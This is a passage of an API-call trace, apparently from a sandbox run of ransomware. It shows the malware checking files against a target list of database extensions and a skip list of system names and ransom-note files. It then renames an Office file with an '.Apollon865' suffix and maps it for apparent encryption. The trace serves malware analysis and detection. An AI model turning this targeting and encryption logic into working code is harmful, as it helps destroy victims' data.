	[0081.048] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.048] lstrlenW (lpString="sqlite") returned 6
	[0081.048] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.049] lstrlenW (lpString="sqlite3") returned 7
	[0081.049] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.049] lstrlenW (lpString="sqlitedb") returned 8
	[0081.049] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.049] lstrlenW (lpString="xml") returned 3
	[0081.049] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.049] lstrlenW (lpString="$er") returned 3
	[0081.049] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.049] lstrlenW (lpString="4dd") returned 3
	[0081.049] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.049] lstrlenW (lpString="4dl") returned 3
	[0081.049] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.049] lstrlenW (lpString="^^^") returned 3
	[0081.049] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.049] lstrlenW (lpString="abs") returned 3
	[0081.049] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.049] lstrlenW (lpString="abx") returned 3
	[0081.049] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.049] lstrlenW (lpString="accdb") returned 5
	[0081.049] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.049] lstrlenW (lpString="accdc") returned 5
	[0081.049] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.049] lstrlenW (lpString="accde") returned 5
	[0081.049] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.049] lstrlenW (lpString="accdr") returned 5
	[0081.049] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.049] lstrlenW (lpString="accdt") returned 5
	[0081.049] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.049] lstrlenW (lpString="accdw") returned 5
	[0081.049] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.049] lstrlenW (lpString="accft") returned 5
	[0081.049] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.049] lstrlenW (lpString="adb") returned 3
	[0081.049] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.049] lstrlenW (lpString="adb") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.050] lstrlenW (lpString="ade") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.050] lstrlenW (lpString="adf") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.050] lstrlenW (lpString="adn") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.050] lstrlenW (lpString="adp") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.050] lstrlenW (lpString="alf") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.050] lstrlenW (lpString="ask") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.050] lstrlenW (lpString="btr") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.050] lstrlenW (lpString="cat") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.050] lstrlenW (lpString="cdb") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.050] lstrlenW (lpString="ckp") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.050] lstrlenW (lpString="cma") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.050] lstrlenW (lpString="cpd") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.050] lstrlenW (lpString="dacpac") returned 6
	[0081.050] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.050] lstrlenW (lpString="dad") returned 3
	[0081.050] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.050] lstrlenW (lpString="dadiagrams") returned 10
	[0081.050] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0081.050] lstrlenW (lpString="daschema") returned 8
	[0081.050] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.050] lstrlenW (lpString="db-journal") returned 10
	[0081.050] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0081.050] lstrlenW (lpString="db-shm") returned 6
	[0081.051] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.051] lstrlenW (lpString="db-wal") returned 6
	[0081.051] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.051] lstrlenW (lpString="dbc") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.051] lstrlenW (lpString="dbs") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.051] lstrlenW (lpString="dbt") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.051] lstrlenW (lpString="dbv") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.051] lstrlenW (lpString="dbx") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.051] lstrlenW (lpString="dcb") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.051] lstrlenW (lpString="dct") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.051] lstrlenW (lpString="dcx") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.051] lstrlenW (lpString="ddl") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.051] lstrlenW (lpString="dlis") returned 4
	[0081.051] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.051] lstrlenW (lpString="dp1") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.051] lstrlenW (lpString="dqy") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.051] lstrlenW (lpString="dsk") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.051] lstrlenW (lpString="dsn") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.051] lstrlenW (lpString="dtsx") returned 4
	[0081.051] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.051] lstrlenW (lpString="dxl") returned 3
	[0081.051] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.051] lstrlenW (lpString="eco") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.052] lstrlenW (lpString="ecx") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.052] lstrlenW (lpString="edb") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.052] lstrlenW (lpString="epim") returned 4
	[0081.052] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.052] lstrlenW (lpString="fcd") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.052] lstrlenW (lpString="fdb") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.052] lstrlenW (lpString="fic") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.052] lstrlenW (lpString="flexolibrary") returned 12
	[0081.052] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0081.052] lstrlenW (lpString="fm5") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.052] lstrlenW (lpString="fmp") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.052] lstrlenW (lpString="fmp12") returned 5
	[0081.052] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.052] lstrlenW (lpString="fmpsl") returned 5
	[0081.052] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.052] lstrlenW (lpString="fol") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.052] lstrlenW (lpString="fp3") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.052] lstrlenW (lpString="fp4") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.052] lstrlenW (lpString="fp5") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.052] lstrlenW (lpString="fp7") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.052] lstrlenW (lpString="fpt") returned 3
	[0081.052] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.052] lstrlenW (lpString="frm") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.053] lstrlenW (lpString="gdb") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.053] lstrlenW (lpString="gdb") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.053] lstrlenW (lpString="grdb") returned 4
	[0081.053] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.053] lstrlenW (lpString="gwi") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.053] lstrlenW (lpString="hdb") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.053] lstrlenW (lpString="his") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.053] lstrlenW (lpString="ib") returned 2
	[0081.053] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.053] lstrlenW (lpString="idb") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.053] lstrlenW (lpString="ihx") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.053] lstrlenW (lpString="itdb") returned 4
	[0081.053] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.053] lstrlenW (lpString="itw") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.053] lstrlenW (lpString="jet") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.053] lstrlenW (lpString="jtx") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.053] lstrlenW (lpString="kdb") returned 3
	[0081.053] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.053] lstrlenW (lpString="kexi") returned 4
	[0081.053] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.053] lstrlenW (lpString="kexic") returned 5
	[0081.053] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.053] lstrlenW (lpString="kexis") returned 5
	[0081.053] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.054] lstrlenW (lpString="lgc") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.054] lstrlenW (lpString="lwx") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.054] lstrlenW (lpString="maf") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.054] lstrlenW (lpString="maq") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.054] lstrlenW (lpString="mar") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.054] lstrlenW (lpString="marshal") returned 7
	[0081.054] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.054] lstrlenW (lpString="mas") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.054] lstrlenW (lpString="mav") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.054] lstrlenW (lpString="maw") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.054] lstrlenW (lpString="mdbhtml") returned 7
	[0081.054] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.054] lstrlenW (lpString="mdn") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.054] lstrlenW (lpString="mdt") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.054] lstrlenW (lpString="mfd") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.054] lstrlenW (lpString="mpd") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.054] lstrlenW (lpString="mrg") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.054] lstrlenW (lpString="mud") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.054] lstrlenW (lpString="mwb") returned 3
	[0081.054] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.054] lstrlenW (lpString="myd") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.055] lstrlenW (lpString="ndf") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.055] lstrlenW (lpString="nnt") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.055] lstrlenW (lpString="nrmlib") returned 6
	[0081.055] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.055] lstrlenW (lpString="ns2") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.055] lstrlenW (lpString="ns3") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.055] lstrlenW (lpString="ns4") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.055] lstrlenW (lpString="nsf") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.055] lstrlenW (lpString="nv") returned 2
	[0081.055] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.055] lstrlenW (lpString="nv2") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.055] lstrlenW (lpString="nwdb") returned 4
	[0081.055] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.055] lstrlenW (lpString="nyf") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.055] lstrlenW (lpString="odb") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.055] lstrlenW (lpString="odb") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.055] lstrlenW (lpString="oqy") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.055] lstrlenW (lpString="ora") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.055] lstrlenW (lpString="orx") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.055] lstrlenW (lpString="owc") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.055] lstrlenW (lpString="p96") returned 3
	[0081.055] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.056] lstrlenW (lpString="p97") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.056] lstrlenW (lpString="pan") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.056] lstrlenW (lpString="pdb") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.056] lstrlenW (lpString="pdm") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.056] lstrlenW (lpString="pnz") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.056] lstrlenW (lpString="qry") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.056] lstrlenW (lpString="qvd") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.056] lstrlenW (lpString="rbf") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.056] lstrlenW (lpString="rctd") returned 4
	[0081.056] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.056] lstrlenW (lpString="rod") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.056] lstrlenW (lpString="rodx") returned 4
	[0081.056] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.056] lstrlenW (lpString="rpd") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.056] lstrlenW (lpString="rsd") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.056] lstrlenW (lpString="sas7bdat") returned 8
	[0081.056] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.056] lstrlenW (lpString="sbf") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.056] lstrlenW (lpString="scx") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.056] lstrlenW (lpString="sdb") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.056] lstrlenW (lpString="sdc") returned 3
	[0081.056] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.056] lstrlenW (lpString="sdf") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.057] lstrlenW (lpString="sis") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.057] lstrlenW (lpString="spq") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.057] lstrlenW (lpString="te") returned 2
	[0081.057] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.057] lstrlenW (lpString="teacher") returned 7
	[0081.057] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.057] lstrlenW (lpString="tmd") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.057] lstrlenW (lpString="tps") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.057] lstrlenW (lpString="trc") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.057] lstrlenW (lpString="trc") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.057] lstrlenW (lpString="trm") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.057] lstrlenW (lpString="udb") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.057] lstrlenW (lpString="udl") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.057] lstrlenW (lpString="usr") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.057] lstrlenW (lpString="v12") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.057] lstrlenW (lpString="vis") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.057] lstrlenW (lpString="vpd") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.057] lstrlenW (lpString="vvv") returned 3
	[0081.057] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.057] lstrlenW (lpString="wdb") returned 3
	[0081.058] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.058] lstrlenW (lpString="wmdb") returned 4
	[0081.058] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.058] lstrlenW (lpString="wrk") returned 3
	[0081.058] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.058] lstrlenW (lpString="xdb") returned 3
	[0081.058] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.058] lstrlenW (lpString="xld") returned 3
	[0081.058] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.058] lstrlenW (lpString="xmlff") returned 5
	[0081.058] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.058] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.Apollon865") returned 83
	[0081.058] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.059] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.059] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2827616) returned 1
	[0081.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.059] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.060] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.060] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.060] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b2860, lpName=0x0) returned 0x15c
	[0081.068] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xb2860) returned 0x2bb0000
	[0081.249] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.250] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.250] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0081.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0081.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.250] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0081.259] CloseHandle (hObject=0x15c) returned 1
	[0081.259] CloseHandle (hObject=0x9c) returned 1
	[0081.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.267] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3564d600, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3564d600, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1
	[0081.267] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".") returned 1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="..") returned 1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="perflogs") returned -1
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0081.268] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0081.268] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned 72
	[0081.268] lstrcpyW (in: lpString1=0x119e670, lpString2="OMSINTL.DLL.trx_dll" | out: lpString1="OMSINTL.DLL.trx_dll") returned="OMSINTL.DLL.trx_dll"
	[0081.268] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0081.268] lstrlenW (lpString="Apollon865") returned 10
	[0081.268] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0081.268] lstrlenW (lpString=".dll") returned 4
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0081.268] lstrlenW (lpString=".lnk") returned 4
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0081.268] lstrlenW (lpString=".ini") returned 4
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0081.268] lstrlenW (lpString=".sys") returned 4
	[0081.268] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".sys") returned 1
